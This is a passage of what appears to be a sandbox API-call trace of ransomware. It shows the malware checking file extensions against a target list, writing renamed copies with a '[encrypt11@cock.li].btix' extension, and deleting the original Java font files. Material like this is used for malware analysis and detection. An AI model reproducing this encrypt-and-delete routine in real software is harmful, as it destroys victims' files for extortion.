(lpString=".dbf") returned 4 [0131.336] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW (lpString=".1cd") returned 4 [0131.336] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW (lpString=".jpg") returned 4 [0131.336] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW (lpString=".doc") returned 4 [0131.336] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString=".docx") returned 5 [0131.336] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0131.336] lstrlenW (lpString=".pdf") returned 4 [0131.336] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString=".xls") returned 4 [0131.336] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0131.336] lstrlenW (lpString=".xlsx") returned 5 [0131.336] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0131.337] lstrlenW (lpString=".ppt") returned 4 [0131.337] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0131.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.337] lstrlenW (lpString=".zip") returned 4 [0131.337] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0131.337] lstrlenW (lpString=".rar") returned 4 [0131.337] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0131.337] lstrlenW (lpString=".bz2") returned 4 [0131.337] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0131.337] lstrlenW (lpString=".7z") returned 3 [0131.337] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0131.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.337] lstrlenW (lpString=".dbf") returned 4 [0131.337] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0131.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.337] lstrlenW (lpString=".1cd") returned 4 [0131.337] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0131.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.337] lstrlenW (lpString=".jpg") returned 4 [0131.337] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0131.337] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.337] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0131.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.338] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=80856) returned 1 [0131.338] CloseHandle (hObject=0x4b0) returned 1 [0131.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0131.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.338] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.338] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0131.343] GetLastError () returned 0x0 [0131.343] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0131.500] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x13be0, lpOverlapped=0x0) returned 1 [0131.504] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.504] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0131.504] SetEndOfFile (hFile=0x43c) returned 1 [0131.504] CloseHandle (hObject=0x43c) returned 1 [0131.505] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.505] SetEndOfFile (hFile=0x4b0) returned 1 [0131.512] CloseHandle (hObject=0x4b0) returned 1 [0131.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.512] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString=".doc") returned 4 [0131.513] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString=".docx") returned 5 [0131.513] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0131.513] lstrlenW (lpString=".pdf") returned 4 [0131.513] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString=".xls") returned 4 [0131.513] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.513] lstrlenW (lpString=".xlsx") returned 5 [0131.513] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0131.513] lstrlenW (lpString=".ppt") returned 4 [0131.513] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString=".zip") returned 4 [0131.513] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.513] lstrlenW (lpString=".rar") returned 4 [0131.513] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString=".bz2") returned 4 [0131.513] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString=".7z") returned 3 [0131.513] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString=".dbf") returned 4 [0131.513] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString=".1cd") returned 4 [0131.513] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.513] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.513] lstrlenW (lpString=".jpg") returned 4 [0131.513] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString=".doc") returned 4 [0131.514] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString=".docx") returned 5 [0131.514] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0131.514] lstrlenW (lpString=".pdf") returned 4 [0131.514] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString=".xls") returned 4 [0131.514] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.514] lstrlenW (lpString=".xlsx") returned 5 [0131.514] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0131.514] lstrlenW (lpString=".ppt") returned 4 [0131.514] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString=".zip") returned 4 [0131.514] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.514] lstrlenW (lpString=".rar") returned 4 [0131.514] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString=".bz2") returned 4 [0131.514] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString=".7z") returned 3 [0131.514] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString=".dbf") returned 4 [0131.514] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString=".1cd") returned 4 [0131.514] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0131.514] lstrlenW (lpString=".jpg") returned 4 [0131.514] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.515] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.515] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0131.515] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.515] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=317896) returned 1 [0131.515] CloseHandle (hObject=0x4b0) returned 1 [0131.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0131.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.519] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.519] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0131.519] GetLastError () returned 0x0 [0131.519] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0131.747] WriteFile (in: hFile=0x4a4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0131.752] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.752] WriteFile (in: hFile=0x4a4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x100, lpOverlapped=0x0) returned 1 [0131.752] SetEndOfFile (hFile=0x4a4) returned 1 [0131.752] CloseHandle (hObject=0x4a4) returned 1 [0131.752] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.752] SetEndOfFile (hFile=0x4b0) returned 1 [0131.760] CloseHandle (hObject=0x4b0) returned 1 [0131.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.761] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0131.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.761] lstrlenW (lpString=".doc") returned 4 [0131.761] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.761] lstrlenW (lpString=".docx") returned 5 [0131.761] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0131.761] lstrlenW (lpString=".pdf") returned 4 [0131.761] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.761] lstrlenW (lpString=".xls") returned 4 [0131.761] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.761] lstrlenW (lpString=".xlsx") returned 5 [0131.761] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0131.761] lstrlenW (lpString=".ppt") returned 4 [0131.761] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.761] lstrlenW (lpString=".zip") returned 4 [0131.761] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.761] lstrlenW (lpString=".rar") returned 4 [0131.762] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString=".bz2") returned 4 [0131.762] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString=".7z") returned 3 [0131.762] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString=".dbf") returned 4 [0131.762] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString=".1cd") returned 4 [0131.762] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString=".jpg") returned 4 [0131.762] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString=".doc") returned 4 [0131.762] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString=".docx") returned 5 [0131.762] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0131.762] lstrlenW (lpString=".pdf") returned 4 [0131.762] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString=".xls") returned 4 [0131.762] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0131.762] lstrlenW (lpString=".xlsx") returned 5 [0131.762] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0131.762] lstrlenW (lpString=".ppt") returned 4 [0131.762] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0131.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.762] lstrlenW (lpString=".zip") returned 4 [0131.763] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0131.763] lstrlenW (lpString=".rar") returned 4 [0131.763] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0131.763] lstrlenW (lpString=".bz2") returned 4 [0131.763] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0131.763] lstrlenW (lpString=".7z") returned 3 [0131.763] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0131.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.763] lstrlenW (lpString=".dbf") returned 4 [0131.763] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0131.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.763] lstrlenW (lpString=".1cd") returned 4 [0131.763] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0131.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0131.763] lstrlenW (lpString=".jpg") returned 4 [0131.763] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0131.763] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.763] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0131.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.764] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=242700) returned 1 [0131.764] CloseHandle (hObject=0x4b0) returned 1 [0131.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0131.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.764] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.764] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0131.765] GetLastError () returned 0x0 [0131.765] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0132.215] WriteFile (in: hFile=0x4a4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x3b410, lpOverlapped=0x0) returned 1 [0132.218] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.218] WriteFile (in: hFile=0x4a4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x10a, lpOverlapped=0x0) returned 1 [0132.218] SetEndOfFile (hFile=0x4a4) returned 1 [0132.218] CloseHandle (hObject=0x4a4) returned 1 [0132.218] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.219] SetEndOfFile (hFile=0x4b0) returned 1 [0132.223] CloseHandle (hObject=0x4b0) returned 1 [0132.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.224] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0132.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.224] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.224] lstrlenW (lpString=".doc") returned 4 [0132.224] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.224] lstrlenW (lpString=".docx") returned 5 [0132.224] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0132.224] lstrlenW (lpString=".pdf") returned 4 [0132.225] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString=".xls") returned 4 [0132.225] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.225] lstrlenW (lpString=".xlsx") returned 5 [0132.225] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0132.225] lstrlenW (lpString=".ppt") returned 4 [0132.225] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString=".zip") returned 4 [0132.225] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.225] lstrlenW (lpString=".rar") returned 4 [0132.225] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString=".bz2") returned 4 [0132.225] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString=".7z") returned 3 [0132.225] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString=".dbf") returned 4 [0132.225] 